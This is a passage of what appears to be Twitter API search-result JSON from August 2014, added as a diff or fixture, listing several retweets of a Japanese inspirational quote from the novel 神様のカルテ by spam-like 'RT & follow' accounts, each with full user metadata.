00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874866910687200, + "id_str": "505874866910687233", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "超w美女☆アルバム", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744054334, + "id_str": "2744054334", + "name": "超w美女☆アルバム", + "screen_name": "bijyoalbum", + "location": "", + "description": "「おお~っ!いいね~」って、思わず言ってしまう、美女を見つけます☆ \r\nタイプだと思ったら RT & 相互フォローでお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 45, + "friends_count": 966, + "listed_count": 0, + "created_at": "Tue Aug 19 05:36:48 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 352, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501604413312491520/GP66eKWr_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501604413312491520/GP66eKWr_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744054334/1408426814", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874866105376800, + "id_str": "505874866105376769", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "男に見せない女子の裏生態", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744261238, + "id_str": "2744261238", + "name": "男に見せない女子の裏生態", + "screen_name": "jyoshiuraseitai", + "location": "", + "description": "男の知らない女子ならではのあるある☆ \r\nそんな生々しい女子の生態をつぶやきます。 \r\nわかる~って人は RT & フォローでお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 203, + "friends_count": 967, + "listed_count": 0, + "created_at": "Tue Aug 19 08:01:28 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 348, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501641354804346880/Uh1-n1LD_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501641354804346880/Uh1-n1LD_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744261238/1408435630", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874865354584060, + "id_str": "505874865354584064", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "驚きの動物たちの生態", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2759403146, + "id_str": "2759403146", + "name": "驚きの動物たちの生態", + "screen_name": "soubutu_seitai", + "location": "", + "description": "「おお~っ」と 言われるような、動物の生態をツイートします♪ \r\n知っていると、あなたも人気者に!? \r\nおもしろかったら RT & フォローを、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 67, + "friends_count": 954, + "listed_count": 0, + "created_at": "Sat Aug 23 16:39:31 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 219, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503220468128567296/Z8mGDIBS_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503220468128567296/Z8mGDIBS_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2759403146/1408812130", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874864603820000, + "id_str": "505874864603820032", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "モテ女子★ファションの秘密", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2706659820, + "id_str": "2706659820", + "name": "モテ女子★ファションの秘密", + "screen_name": "mote_woman", + "location": "", + "description": "オシャレかわいい♥モテ度UPの注目アイテムを見つけます。\r\n気に入ったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 217, + "friends_count": 1806, + "listed_count": 0, + "created_at": "Mon Aug 04 14:30:24 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 682, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496303370936668161/s7xP8rTy_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496303370936668161/s7xP8rTy_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2706659820/1407163059", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874863874007040, + "id_str": "505874863874007040", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "男女の違いを解明する", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2761896468, + "id_str": "2761896468", + "name": "男女の違いを解明する", + "screen_name": "danjyonotigai1", + "location": "", + "description": "意外と理解できていない男女それぞれの事情。 \r\n「えっ マジで!?」と驚くような、男女の習性をつぶやきます♪ ためになったら、是非 RT & フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 82, + "friends_count": 992, + "listed_count": 0, + "created_at": "Sun Aug 24 09:47:44 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 237, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503479057380413441/zDLu5Z9o_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503479057380413441/zDLu5Z9o_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2761896468/1408873803", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:00 +0000 2014", + "id": 505874862900924400, + "id_str": "505874862900924416", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "神レベル★極限の発想", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744950735, + "id_str": "2744950735", + "name": "神レベル★極限の発想", + "screen_name": "kamihassou", + "location": "", + "description": "見ているだけで、本気がビシバシ伝わってきます! \r\n人生のヒントになるような、そんな究極の発想を集めています。 \r\nいいなと思ったら RT & 相互フォローで、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 84, + "friends_count": 992, + "listed_count": 0, + "created_at": "Tue Aug 19 13:36:05 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 343, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501725053189226496/xZNOTYz2_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501725053189226496/xZNOTYz2_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744950735/1408455571", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, 